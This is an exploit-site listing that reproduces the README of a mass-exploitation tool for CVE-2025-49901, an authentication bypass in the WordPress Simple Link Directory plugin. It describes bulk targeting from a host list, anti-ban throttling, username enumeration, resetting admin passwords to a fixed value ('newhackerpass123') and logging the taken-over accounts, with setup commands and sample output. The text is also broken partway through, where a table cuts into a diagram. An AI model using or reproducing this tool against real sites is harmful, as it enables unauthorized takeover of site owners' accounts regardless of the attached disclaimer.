Exploit for CVE-2025-49901

Name: Exploit for CVE-2025-49901
Rating: 5 (77 reviews)
2026-04-18 | CVSS 9.8
## https://sploitus.com/exploit?id=7733F16C-88C9-5C89-A8E3-D3DFC794B20E
# CVE-2025-49901
WordPress Simple Link Directory Plugin &lt; 14.8.1 is vulnerable to a high priority Broken Authentication
```
╔═══════════════════════════════════════════════════════════════════╗
║        CVE-2025-49901  ·  Simple Link Directory  ·  qc-opd       ║
║           Authentication Bypass → Password Reset → RCE           ║
╚═══════════════════════════════════════════════════════════════════╝
```

![CVE](https://img.shields.io/badge/CVE-2025--49901-critical?style=flat-square&color=8B0000)
![CVSS](https://img.shields.io/badge/CVSS%203.1-9.8%20CRITICAL-red?style=flat-square)
![Plugin](https://img.shields.io/badge/Simple%20Link%20Directory%20%3C%2014.8.1-555?style=flat-square)
![Auth](https://img.shields.io/badge/Auth-None-brightgreen?style=flat-square)
![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=flat-square&logo=python)
![Author](https://img.shields.io/badge/By-Nxploited-00aa55?style=flat-square)

---

## ▸ Vulnerability

| | |
|---|---|
| **CVE** | CVE-2025-49901 |
| **CVSS** | **9.8 CRITICAL** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **ADP** | CISA-ADP |
| **Plugin** | quantumcloud Simple Link Directory (`qc-simple-link-directory`) |
| **Affected** | All versions **                               │
│         pass=newhackerpass123                           │
│         _wpnonce=                                │
│                                                         │
│  5. Verify access (dual mode)                           │
│     Session mode  → cookie check + /wp-admin/ probes    │
│     Password mode → wp-login.php + admin panel check    │
│                                                         │
│  6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
```

---

## ▸ Setup

```bash
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
```

**`requirements.txt`**
```
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
```

---

## ▸ Usage

```
Targets list file          →  list.txt  (one host per line)
Threads                    →  default 5
HTTP timeout               →  default 10s
Per-user delay MIN/MAX     →  anti-ban throttle  (default 0.3 / 0.7s)
Delay between sites        →  default 1.0s
Output file                →  scan_results/reset_mass_success.txt
```

**Targets format:**
```
https://target1.com
target2.com
http://target3.com/wordpress
```

**Fixed password injected for all resets:**
```
newhackerpass123
```

---

## ▸ Username Enumeration Sources

| Method | Endpoint |
|---|---|
| Author redirect | `/?author=1` → `/?author=10` |
| REST API | `/wp-json/wp/v2/users` |
| Hostname | First label of domain as fallback |
| Hardcoded | `admin` always included |

---

## ▸ Admin Verification Logic

After each reset attempt the tool verifies access using **two independent methods**:

```
Session mode   →  checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode  →  full wp-login.php POST + multi-path admin panel probe
```

Admin indicators checked:
```
id="adminmenu"  ·  id="wpadminbar"  ·  id="wpwrap"
users.php  ·  plugins.php  ·  plugin-install-tab  ·  upload-plugin
```

---

## ▸ Terminal Output Format

```
[HH:MM:SS] [https://target.com] NONCE: OK   | RESET: OK   | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: -    | ACCESS: 0 HIT
```

---

## ▸ Output File

**`scan_results/reset_mass_success.txt`**

```
[2025-06-01T14:22:10] https://target.com - account=admin  pass=newhackerpass123  mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123  mode=session
```

---

## ▸ Author

```
Nxploited (Khaled Alenazi)
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited
```

[![GitHub](https://img.shields.io/badge/GitHub-Nxploited-181717?style=for-the-badge&logo=github)](https://github.com/Nxploited)
[![Telegram](https://img.shields.io/badge/Telegram-@KNxploited-2CA5E0?style=for-the-badge&logo=telegram)](https://t.me/KNxploited)

---

## ▸ Disclaimer

```
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
```

---

© 2025 Nxploited · Simple Link Directory